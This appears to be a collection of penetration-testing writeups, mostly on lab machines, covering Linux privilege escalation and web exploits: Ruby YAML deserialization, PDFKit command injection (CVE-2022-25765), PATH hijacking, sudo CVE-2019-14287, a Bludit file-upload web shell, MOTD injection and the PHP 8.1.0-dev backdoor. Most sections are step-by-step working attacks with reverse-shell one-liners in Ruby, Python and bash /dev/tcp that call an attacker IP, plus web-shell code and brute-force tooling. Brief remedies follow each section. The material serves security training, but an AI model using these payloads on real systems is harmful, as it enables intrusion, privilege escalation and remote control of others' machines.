Update Polkit: Apply the latest security patches and updates provided by the respective Linux distribution. These updates typically include the patched version of Polkit, addressing the vulnerability. Keeping the system up to date is essential for maintaining a secure environment.

Monitor Security Advisories: Stay informed about security advisories and notifications from the Linux distribution's official channels. This ensures timely awareness of vulnerabilities and recommended remediation steps.

Restrict Privileges: Implement the principle of least privilege (PoLP) by limiting user privileges to only those necessary for their tasks. Minimizing the number of accounts with administrative privileges can significantly reduce the potential impact of privilege escalation vulnerabilities.

Security Audits: Conduct regular security audits and vulnerability assessments to identify potential weaknesses and ensure that systems are adequately protected. Tools like LinPEAS.sh, which performs comprehensive scans for privilege escalation vulnerabilities, can be useful in this regard.

Sources

https://packetstormsecurity.com/files/163142

https://www.exploit-db.com/exploits/50011

https://exchange.xforce.ibmcloud.com/vulnerabilities/202979

https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

https://kaarb0.medium.com/exploitation-of-cve-2021-3560-cecfdf250397

https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/

https://cgit.freedesktop.org/accountsservice/tree/data/org.freedesktop.Accounts.xml

https://github.com/UNICORDev/exploit-CVE-2021-3560

https://thesecmaster.com/step-by-step-procedure-to-fix-the-plokit-vulnerability-cve-2021-3560/

https://access.redhat.com/security/cve/CVE-2021-3560

https://security-tracker.debian.org/tracker/CVE-2021-3560

https://ubuntu.com/security/CVE-2021-3560

https://bugzilla.redhat.com/show_bug.cgi?id=1967424

 

Enumerate Linux using LinPEAS.sh

LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts.

LinPEAS.sh is a script used for privilege escalation and enumeration on Linux systems. It is part of the LinEnum project, which is a collection of scripts and tools designed to assist in the discovery and exploitation of Linux vulnerabilities and weaknesses.

LinPEAS.sh, specifically, focuses on identifying misconfigurations, insecure settings, and other potential security issues that could lead to privilege escalation. It scans the system for various indicators and gathers information about the operating system, running processes, network connections, installed software, file permissions, and more.

The script performs a comprehensive analysis of the system, looking for common security weaknesses such as world-writable files, misconfigured cron jobs, weak file permissions, unquoted service paths, and other potential vulnerabilities that can be exploited by an attacker.

By running LinPEAS.sh, system administrators and security professionals can quickly identify potential security risks and take appropriate actions to mitigate them. It is a useful tool for both offensive security assessments and defensive security measures.

It's worth noting that LinPEAS.sh should only be used on systems that you have permission to test or analyze. Running it on unauthorized systems or without proper authorization may be illegal and violate the system owner's privacy and security rights. Always ensure you have proper authorization and follow ethical guidelines when using such tools.

How to use

1. Download the Script (https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)

  • curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh > LinPEAS.sh

2. Send the file into the server, prepare a web server for the transfer

  • python3 -m http.server 9999

3. Download from the remote machine

  • wget http://10.10.14.8:9999/LinPEAS.sh

4. Run the application

  • bash LinPEAS.sh

Sources

https://github.com/carlospolop/PEASS-ng/releases/tag/20220612

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

 

(2019-17671)[information disclosure] WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts

WordPress could allow a remote attacker to obtain sensitive information, caused by improper handling of the static query property. By sending a specially-crafted HTTP request, an attacker could exploit this vulnerability to view private and draft posts.

Adding ?static=1 to a wordpress URL should leak its secret content.

However, there are a few ways to manipulate the returned entries:

  • order with asc or desc
  • orderby
  • m with m=YYYY, m=YYYYMM or m=YYYYMMDD date format
  • ...

In this case, simply reversing the order of the returned elements suffices and http://wordpress.local/?static=1&order=asc will show the secret content. This issue also discloses password protected and private posts

Affected Products

WordPress WordPress 5.2.3

Identify

1. We can get information about wordpress version from the web page

  • curl -X GET http://office.paper

2. You can run WPScan to identify the version

  • wpscan -e vp --url http://office.paper/

3. Inspecting the source code you can find the wordpress version

  • view-source:http://office.paper/

4. Searching around, I found an exploit for this particular version (https://www.exploit-db.com/exploits/47690)

Exploitation

1. So far we know that adding ?static=1 to a wordpress URL should leak its secret content.

Nomal request

  • http://office.paper/

After adding ?static=1

  • http://office.paper/?static=1

Remedy

Upgrade to the latest version of WordPress (5.2.4 or later), available from the WordPress Web site. See References.

Sources

https://exchange.xforce.ibmcloud.com/vulnerabilities/169497

https://blog.wpscan.com/wordpress-5-2-4-security-release-breakdown/

https://wpscan.com/vulnerability/9909

https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671

https://www.exploit-db.com/exploits/47690

 

Get Website components version with Wappalyze

Wappalyzer is a web browser extension and online service that allows users to identify the technologies used on websites they visit. It provides information about the software frameworks, content management systems (CMS), programming languages, analytics tools, and other technologies employed by a website.

Here are some key features of Wappalyzer:

  • Technology Identification: Wappalyzer scans websites and analyzes various aspects to identify the technologies being utilized. It can detect CMS platforms like WordPress, Drupal, or Joomla, as well as frameworks like React, Angular, or Laravel.
  • Browser Extension: Wappalyzer is primarily available as a browser extension, supporting popular browsers such as Chrome, Firefox, and Edge. Once installed, the extension runs in the background and displays an icon or dropdown menu that reveals the technologies in use when visiting a website.
  • Detailed Reports: Wappalyzer provides detailed reports on the technologies found on a website. This includes information such as version numbers, JavaScript libraries, advertising networks, web servers, and more. The reports help users gain insights into the underlying infrastructure and tools employed by a website.
  • Online Service: In addition to the browser extension, Wappalyzer offers an online service where users can enter a website URL manually to get technology information. This service is helpful for situations where the browser extension is not installed or available.
  • Open Source: Wappalyzer is an open-source project, and its codebase is publicly available. This transparency allows for community contributions, improvements, and the development of custom integrations.

Wappalyzer is widely used by web developers, security professionals, marketers, and researchers to gather information about the technologies implemented on websites. It helps users understand the technological landscape of a site, which can be valuable for tasks such as competitor analysis, vulnerability assessments, or optimizing web development processes.

Please note that Wappalyzer relies on various detection techniques, including pattern matching, script analysis, and HTTP headers. While it is generally accurate, it may occasionally provide false positives or miss certain technologies due to factors like dynamic content loading or customized implementations.

Install & Use

1. Visit https://www.wappalyzer.com/apps/ to download the the extension according to the Browser

2. After selecting the browser type, in my case FireFox, I get redirected to (https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)

3. Install the plug in, and visit the website you want to scan

4. Run the plug in, by clicking the icon the browser

5. The plug in will show us the technologies used, also, some versions

 

Ruby – Insecure Deserialization – YAML (Privilege Escalation – Code Execution)

Understanding Insecure Deserialization

Deserialization is the process of transforming serialized data, such as YAML or JSON, back into its original form. Insecure deserialization occurs when untrusted data is deserialized without proper validation, leading to potential security risks. Attackers can exploit this vulnerability to execute arbitrary code, bypass authentication, or perform other malicious activities.

YAML in Ruby:

Ruby, a popular programming language known for its simplicity and flexibility, provides built-in support for YAML parsing. YAML (YAML Ain't Markup Language) is a human-readable data serialization format commonly used for configuration files and data exchange. However, YAML's ease of use can inadvertently introduce security vulnerabilities if not handled correctly.

Risks of Insecure Deserialization:

Insecure deserialization in Ruby's YAML parser can have severe consequences. Attackers may manipulate serialized data to exploit vulnerable code paths, leading to remote code execution or denial of service attacks. It's crucial to understand the potential risks and adopt preventive measures.

The pre-requisites are as follows:

  1. The ActiveSupport gem must be installed and loaded.
  2. ERB from the standard library must be loaded (which Ruby does not load by default).
  3. After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.

Yaml.load

Vulnerable code

Universal gadget for ruby <= 2.7.2:

Universal gadget for ruby 2.x - 3.x.

Yaml.load(File_read())

Identification

1. In this case we have an application that reads/runs “dependencies.yml”, it uses Yaml.load(File_read()) to load the file. This Ruby script was found to run as sudo without password, it also doesn’t specify the specify path for the file

  • sudo -l

2. If we read the file “update_dependencies.rb”, we will find yaml.load in the script, and it uses the function File_read()

  • cat /opt/update_dependencies.rb

3. Verify the ruby version

  • ruby -v

3. Now, its time to read “dependencies.yml

  • cat dependencies.yml

Exploitation

1. Now that we know the version of ruby we can apply the right syntax (Universal gadget for ruby 2.x - 3.x) in our case as ruby version is 2.7.4, we will create a file in /tmp , name it as “dependencies.yml”, and inject the Linux command “id”

  • cd /tmp
  • vi dependencies.yml
  • cat dependencies.yml

2. Run the command, we’ll notice the output of the “id” Linux command

  • sudo /usr/bin/ruby /opt/update_dependencies.rb

3. Knowing we can execute commands, we can try to elevate our privileges, in this case I will start a listener in my local machine, and run a ruby reverse shell to communicate on port 5555

Listener local machine

  • nc -lvp 5555

YAML payload in the remote machine

  • vi dependencies.yml
  • cat dependencies.yml
  • ADD: git_set: ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.8",5555))'

4. Check the listener, you should have a reverse shell with privilege rights

Best Practices to Mitigate Insecure Deserialization:

To mitigate insecure deserialization vulnerabilities in Ruby YAML, developers should follow these best practices:

a. Validate Input: Implement strict input validation to ensure that only trusted data is deserialized.

b. Use Safe Loading: Enable safe loading mode during YAML parsing to restrict object creation to basic types, reducing the risk of code execution.

c. Employ Whitelisting: Restrict allowed classes during deserialization to prevent the creation of potentially dangerous objects.

d. Sanitize User Input: Treat user input as untrusted and sanitize it thoroughly before deserialization.

e. Regular Updates: Keep the Ruby interpreter, YAML library, and dependencies up to date to benefit from security patches and bug fixes.

Sources

https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ruby-privilege-escalation/

Portswigger - Insecure Deserialization

https://www.elttam.com/blog/ruby-deserialization/

http://phrack.org/issues/69/12.html

https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/

 

Ruby PDFKit command execution – (RCE) – CVE-2022-25765

PDFKit could allow a remote attacker to execute arbitrary commands on the system, caused by improper URL validation. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.

Affected Products

PDFKit PDFKit 0.8.6

PoC:

An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:

  • PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf

If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:

  • irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" - => nil

Calling to_pdf on the instance shows that the sleep command is indeed executing:

  • PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf # 5 seconds wait...

Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with "http":

  • PDFKit.new("http%20`sleep 5`").to_pdf

Identification

In this particular case, we have a web application that uses PDFKit PDFKit 0.8.6, to create a pdf file from user provided input.

1. First thing we should do is to identify the behavior of the application, so we enter input to generate the PDF

2. Also, capturing this request in Burpsuite, we can see that the application is running Ruby (X-Runtime: Ruby)

3. Now, we download and inspect the PDF file, looking for file info, using exiftool

  • exiftool uqjt61nr2irybs0v7t9qajtshcbvx1oj.pdf

Note: Here we can see the output of exiftool which indicates “Generated by pdfkit v0.8.6”

Exploitation

1. Knowing the file was generated with Ruby using the module pdfkit (version 0.8.6). We can start to test, this application against command injection, first of all, grab the request to create the PDF in Burlsuite, and, send it to Repeater.

2. We run the request normally

3. Now, try the basic test, http://%20`sleep 10`, the application should take longer to respond, as it ran sleep, you can also use the URL encoded, in my case only URL encoded worked

  • http://%20`sleep 10`
  • URL encoded: %68%74%74%70%3a%2f%2f%25%32%30%60%73%6c%65%65%70%20%31%30%60
  • As captured on the go: http%3A%2F%2F%2520%60sleep+10%60

4. If the application hangs for 10 seconds, it means the command worked. Now we can try networking. So, in this case I will set a listener in my Kali machine using TCPdump “sudo tcpdump -i tun0 icmp”

  • http://%20`ping -c 3 10.10.14.8`
  • URL enconded: %68%74%74%70%3a%2f%2f%25%32%30%60%70%69%6e%67%20%2d%63%20%33%20%31%30%2e%31%30%2e%31%34%2e%38%60

5. Knowing ICMP was send from the target to our local machine we can proceed to try reverse shells. First of all start a listener in your local machine “nc -lvp 4444”, then send the request to the web server.

  • http://%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
  • URL encoded: %68%74%74%70%3a%2f%2f%25%32%30%60%70%79%74%68%6f%6e%33%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%30%2e%31%30%2e%31%34%2e%38%22%2c%34%34%34%34%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%29%3b%27%60

Note: We got a connection back. The vulnerability has successfully been exploited

Extra

1. You may find user credentials in .bundle/config

  • cd /home/ruby/.bundle
  • cat config

Remedy

Upgrade pdfkit to version 0.8.7.2 or higher.

Sources

https://nvd.nist.gov/vuln/detail/CVE-2022-25765

https://github.com/pdfkit/pdfkit

https://github.com/pdfkit/pdfkit/blob/46cdf53ec540da1a1a2e4da979e3e5fe2f92a257/lib/pdfkit/pdfkit.rb%23L55-L58

https://github.com/pdfkit/pdfkit/blob/master/lib/pdfkit/source.rb%23L44-L50

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

https://github.com/pdfkit/pdfkit/blob/46cdf53ec540da1a1a2e4da979e3e5fe2f92a257/lib/pdfkit/pdfkit.rb#L55-L58

https://github.com/rubysec/ruby-advisory-db/blob/master/gems/pdfkit/CVE-2022-25765.yml

https://github.com/pdfkit/pdfkit/releases/tag/v0.8.7

https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ESWB6SX7HYWQ54UGBGQOZ7G24O6RAOKD/

https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JFB2BFKH5SUGRKXMY6PWRQNGKZML7GDT/

https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/C36GAV3TKM3JXV6UVMLMTTDRCPKSNETQ/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25765

https://packetstormsecurity.com/files/171746

(Privilege Escalation) Linux Path hijacking

Linux path hijacking, also known as path traversal or privilege escalation, is a security vulnerability that occurs when an attacker manipulates the system's search path to execute malicious code or gain elevated privileges. This type of attack typically targets vulnerable applications that do not properly validate user-supplied input when searching for files or executing commands.

The $PATH environment variable plays a crucial role in Linux systems by defining a list of directories where the operating system searches for executable files. However, when applications fail to properly validate and sanitize user input when utilizing the $PATH variable, a vulnerability known as path hijacking or privilege escalation can arise.

Path hijacking occurs when an attacker manipulates the $PATH variable to force the system to execute a malicious file instead of the intended command. By placing a directory under their control at the beginning of $PATH, the attacker ensures their files are discovered first during the search process.

Here's an explanation of the path hijacking process:

  1. Path Environment Variable: Linux systems have an environment variable called "PATH" that contains a list of directories in which the system searches for executable files. When a command is executed, the system looks for the corresponding executable file in these directories in the order specified by the PATH variable.
  2. Finding a Vulnerable Application: The attacker looks for a vulnerable application that performs file operations or executes commands without properly validating user-supplied input or controlling the search path. For example, an application that uses relative paths or does not sanitize user input.
  3. Identifying the Vulnerable Path: The attacker identifies a vulnerable point in the application where the input is used to construct a file path or command without proper validation. The goal is to find a way to manipulate the path used by the application to execute arbitrary files or commands.
  4. Crafting the Attack: The attacker provides input that includes special characters or sequences to manipulate the path. These characters or sequences are designed to bypass security checks and allow the attacker to traverse directories or execute arbitrary files.
  5. Exploiting the Vulnerability: By carefully constructing the input, the attacker can trick the vulnerable application into executing a malicious file or command. This can lead to various consequences, such as arbitrary code execution, unauthorized access, or privilege escalation.

Example: Malicious Script Execution

Let's consider an application called "insecure_app" that executes a user-supplied script based on the value of $PATH. The code snippet below demonstrates this scenario:

In this case, an attacker modifies their own $PATH variable:

The attacker then creates a malicious script named "ls" in their "home/attacker" directory. Upon executing "insecure_app ls," the malicious script is run instead of the legitimate "ls" command.

Identification

1. We found a file being that can be executed with sudo permissions

  • sudo -l

2. Inspecting the file contents we see that it runs gzip to back up some files

  • cat /opt/scripts/access_backup.sh

Exploitation

1. Knowing we can execute this file with elevated permissions we proceed to play with its logic, first we will find out where is gzip located and if the location is included within $PATH environment variable

  • whereis gzip
  • echo $PATH

2. We can now proceed to modify the $PATH environment variable to point to /tmp and save our new script named “gzip” there, this basic script will create a new empty file in /tmp, we want to verify that the permissions are root

  • export PATH=/tmp:$PATH
  • echo $PATH
  • echo -ne '#!/bin/bash\ntouch test.txt' > gzip
  • chmod 777 gzip
  • sudo /opt/scripts/access_backup.sh

3. We confirmed that the test.txt file was created with the privileges of root. We can now further exploit this vulnerability by copying /bin/bash, making it accessible to anyone, and run it

  • echo -ne '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash' > gzip
  • cat gzip
  • chmod 777 gzip
  • sudo /opt/scripts/access_backup.sh

4. Now run this new bash that has SUID bit set to elevate privileges

  • ./bash -p
  • whoami

Remedy

To mitigate path hijacking vulnerabilities, several preventive measures should be taken:

  1. Validate and Sanitize User Input: Applications must carefully validate and sanitize any user-supplied input to prevent malicious manipulation of the $PATH variable.
  2. Absolute Paths: Avoid relying solely on the $PATH variable for command execution. Instead, use absolute paths to ensure the intended executable is executed.
  3. Least Privilege Principle: Limit the privileges of applications and users to minimize the potential impact of a successful path hijacking attack.
  4. Regular Updates: Keep the system and software up to date to benefit from security patches and fixes that address path hijacking vulnerabilities.

Sources

https://systemweakness.com/linux-privilege-escalation-using-path-variable-manipulation-64325ab05469

https://medium.com/r3d-buck3t/hijacking-relative-paths-in-suid-programs-fed804694e6e

https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

https://book.hacktricks.xyz/linux-hardening/privilege-escalation

Execution After Redirect (EAR)

The web application sends a redirect to another location, but instead of exiting, it executes additional code. This weakness could affect the control flow of the application and allow execution of untrusted code.

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

The PHP code checks if the user IP is allowed in $ipAllowList or not. If not, it will redirect them to the login page located at /login. But there’s no one telling the program to stop executing all the code after the redirect. So, all the code that should run only when a user has a valid session will also get executed. If we use a proxy tool such as BurpSuite or ZAP, we can modify the response of 302 Found redirect into a 200 OK response.

Exploitation

Consider a web application that has login functionality. Users who have an account can access content/features in this web application only by logging in. Unauthenticated users are redirected to the login page for them to first log in and get an authenticated session.

  • Send to repeater.
  • View response.

1. I ran a directory discovery using dirsearch and noticed a lot of redirects

2. I decided to access /accounts.php, and indeed got redirected to login.php

3. I decided to capture the request/response using a proxy (BurpSuite), send the request to Repeater and resend it.

Request

Response

Note: here we can see the HTTP code 302 redirection, in location we can see the redirection to login.php

4. In the same response we can see the code of accounts.php, instead of login.php

5. In order to bypass this in the browser, go to (Proxy – Proxy Settings – Match and replace rules), send traffic through the proxy

  • Type: Response header
  • Match: 30[12] Found #match either 301 or 302
  • Replace: 200 OK
  • Comment: VK9 redirection bypass
  • Check “Regex match”

6. Now that the redirection rule has been set to bypass 301-302 HTTP code, visit the page we’re trying to access /accounts.php

 

Remedy

Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.

Sources

https://cwe.mitre.org/data/definitions/698.html

https://infosecwriteups.com/exploiting-execute-after-redirect-ear-vulnerability-in-htb-previse-92ea3f1dbf3d

https://owasp.org/www-community/attacks/Execution_After_Redirect_(EAR)#:~:text=Execution%20After%20Redirect%20(EAR)%20is,complete%20compromise%20of%20the%20application.

https://support.detectify.com/support/solutions/articles/48001048953-execution-after-redirect-ear-

https://martellosecurity.com/kb/mitre/cwe/698/

https://fireshellsecurity.team/execution-after-redirect/

 

Sudo ALL keyword security bypass – Privilege Escalation – (CVE-2019-14287)

Sudo could allow a local authenticated attacker to bypass security restrictions , caused by an issue with running commands with arbitrary user ID. By using the ALL keyword in a Runas specification, an attacker could exploit this vulnerability to bypass security restrictions and execute arbitrary command on the system with root privileges.

Affected Products

Sudo 1.8.27

Detection

1. Find the version of sudo

  • sudo --version

2. Also, see the privileges on sudo (ALL, !root) is key

  • sudo -l

Exploit

1. Run this command to trick sudo and execute /bin/bash as root, you need to use the current user password to authenticate sudo

  • sudo -u#-1 /bin/bash

Remedy

Upgrade to the latest version of Sudo (1.8.28 or later), available from the Sudo Web site.

Resources

https://www.exploit-db.com/exploits/47502

https://nvd.nist.gov/vuln/detail/CVE-2019-14287

https://exchange.xforce.ibmcloud.com/vulnerabilities/168933

https://seclists.org/oss-sec/2019/q4/18

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287

 

Bludit 3.9.2 code execution – Path Traversal (Authenticated) (CVE-2019-16113)

Bludit could allow a remote authenticated attacker to execute arbitrary code on the system, caused by improper validation of file types. By uploading a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system with privileges of the application.

PHP code can be entered with a .jpg file name, and then this PHP code can write other PHP code to a ../ pathname.

Affected Products

Bludit Bludit 3.9.2

Detect

1. Being already authenticated as a log priviledge user, we can check the version of the platform by looking at the site source code page, in our case 3.9.2

2. You can also use curl to get the page source code, then filter by version

  • curl http://10.10.10.191/admin

Exploit

1. Knowing this version is vulnerable to CVE-2019-16113, we can try to upload an image, in the main page click on content, or, visit http://10.10.10.191/admin/new-content

2. Click on “Images”, choose the image and upload it

3. Click on “Insert”, and then save the post

3. Now try to locate the place where the image is located, you can search for the publication, right click the image and click on “Open Image”, it will take you to the location of the file, in this case:

  • http://10.10.10.191/bl-content/uploads/pages/1b9f41ad138ee8e237ba29b827e1048a/test-image.jpg

4. Now that we know how to locate the file, we can try to upload php code, do the same steps (1-3), but this time upload a file that has code

  • vi exploit.php
  • <?php echo "Follow us." ?>

Note: we get a warning that only (gif, png, jpg, jpeg, svg) are permitted extensions. So, first we try to change the name of our file, second, we try to upload the file again.

  • mv exploit.php exploit.png

5. Now you can try to right click on that empty square, then click on image, to find the location of the file

6. If we try to view this image it will give us an error

  • http://10.10.10.191/bl-content/uploads/pages/0782f3f4a2ac06cd19d47d03181433a7/exploit.png

7. Now using BurpSuite we will try to upload again, and play with the HTTP request

8. We already know the path where the files are saved (/bl-content/uploads/pages/0782f3f4a2ac06cd19d47d03181433a7/exploit.png), so we can exploit the variable named “UUID”, to set the path were the file will be saved, we will send this request to BrupSuite Repeater

  • ../../tmp
  • (ALTERNATIVE) ../../uploads

Note: this will, create the file and folder if necessary, in the response we need to have “Images Uploaded” with 200 OK Server response code

9. Now locate the file within the specified directory

  • http://10.10.10.191/bl-content/tmp/

10. Open the file, and the PHP code should be executed

  • http://10.10.10.191/bl-content/tmp/exploit.png

11. Now using the same request in BurpSuite repeater we can modify the code to execute, in this case I will set a system variable to execute code, I will change the filename also to exploi2.png

  • <?php echo shell_exec($_GET['cmd']); ?>

12. Check the location again and find the new file

  • http://10.10.10.191/bl-content/tmp/

13. Open the file, in the URL use the cmd variable to execute code, we will first try whoami command

  • http://10.10.10.191/bl-content/tmp/exploit2.png?cmd=whoami

14. Knowing we can now execute commands we can try to run a reverse shell, first start a listener in the local attacker machine

  • nc -lvp 4444

15. Now use python to execute the reverse shell connection

  • http://10.10.10.191/bl-content/tmp/exploit2.png?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

16. Looking at the listener we should have a connection back

Extra

1. Having access to the server we can find users and passwords that can be used to further exploit, move your console to the root directory of the web application, in my case (/var/www/bludit-3.9.2)

  • cd /var/www/bludit-3.9.2
  • find . -name users.php 2> /dev/null

2. We can read those files and look for user evidence

  • cat ./bl-content/databases/users.php

Remedy

See vendor documentation, and upgrade to a recent version.

Resources

https://www.exploit-db.com/exploits/47699

https://www.exploit-db.com/exploits/47699

https://packetstormsecurity.com/files/155295

https://github.com/ynots0ups/CVE-2019-16113

https://github.com/advisories/GHSA-ch69-hjrw-4hf3

https://packetstormsecurity.com/files/155295/Bludit-Directory-Traversal-Image-File-Upload.html

 

Bludit 3.9.2 – Auth Bruteforce Bypass (CVE-2019-17240)

Bludit could allow a remote attacker to bypass security restrictions, caused by a flaw in the bl-kernel/security.class.php. By using many different forged X-Forwarded-For or Client-IP HTTP headers, an attacker could exploit this vulnerability to bypass a brute-force protection mechanism.

Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers:

The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

As can be seen in the content of the log file below (found in bl-content/databases/security.php), submitting a login request with an X-Forwarded-For header value of FakeIp was processed successfully, and the failed login attempt was logged against the spoofed string:

By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.

Affected versions

Bludit 3.9.2

Detect

1. Access the Bludit main page

2. Check the source code of the log in page, in the HTML header you can find the application version

Exploit (Script 1)

1. This script runs a list of passwords against a single user (you have to know the user.

  • git clone https://github.com/pingport80/CVE-2019-17240.git
  • cd CVE-2019-17240

2. Run the script enter the username and locate the password file, you can also set the number of threads to use. Once the script finds a match it will stop automatically

  • python3 brute.py -u http://10.10.10.191/admin/ -user fergus -w ../wordlist.txt -t 20

Remedy

Update to a version later than 3.9.2 or apply the patch found at https://github.com/bludit/bludit/pull/1090

Resources

https://github.com/bludit/bludit/pull/1090

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17240

https://www.exploit-db.com/exploits/48746

https://packetstormsecurity.com/files/158875

https://rastating.github.io/bludit-brute-force-mitigation-bypass/

https://github.com/pingport80/CVE-2019-17240

 

MOTD – Privilege Escalation

Having permissions to modify /etc/update-motd.d/00-header allows us to inject code and execute it at the time of a user logging in, the code will be executed by the SSH service owner, most likely root

Identify

1. Check the current permissions of the user

  • id

2. Verify the folder and file permissions

  • ls -ld /etc/update-motd.d
  • ls -lR /etc/update-motd.d/

As we can see our user is part of the sysadmin group which has RWX permissions.

Exploitation

1. Modify the file /etc/update-motd.d/00-header, probably add a reverse shell

  • echo 'bash -c "bash -i >& /dev/tcp/10.10.14.6/4444 0>&1"' >> /etc/update-motd.d/00-header

2. Start a listener in the attacker machine

  • nc -lvp 4444

3. Log again

  • ssh sysadmin@10.10.10.181

4. Check the listener and there should be a reverse shell

Remedy

Assign proper permissions to the files in /etc/update-motd.d

 

Knive – Privilege Escalation

knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server.

This program can be abused, if improper permissions are given

Detect

1. Check user sudo permissions

  • sudo -l

Exploit

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

  • knife exec -E 'exec "/bin/sh"'

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

  • sudo knife exec -E 'exec "/bin/sh"'
  • whoami

Remedy

Assign proper rights to users, by following general user management procedures

PHP 8.1.0-dev Backdoor Remote Code Execution (RCE)

PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.

Identification

1. One of the ways to identify if a website is using PHP 8.1.0-dev, is to make a query using Curl, and print out the headers by identifying the server response

  • curl --head http://10.10.10.242

2. This can also be gotten from BurpSuite, in the server response

Exploitation

Script 1 (PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution)

1. This script automatically exploits user-agentt, and provides a shell (https://www.exploit-db.com/exploits/49933)

  • curl https://www.exploit-db.com/download/49933 -o exploit.py
  • ls -l exploit.py

2. Run it against the vulnerable web site

  • python3 exploit.py
  • http://10.10.10.242/
  • whoami

Script 2 (Reverse Shell)

1. Download the script from (https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py)

2. I named the file as exploit2.py

  • python3 exploit2.py -h

3. Start a listener, in the attacker machine

  • nc -lvp 3333

4. Run the command with the following data

  • python3 exploit2.py http://10.10.10.242/ 10.10.14.6 3333

5. Check the listener, and there should be a connection back

Remedy

Upgrade to a newer version, visit the vendor information for more info

Resources

https://www.exploit-db.com/exploits/49933

https://github.com/flast101/php-8.1.0-dev-backdoor-rce

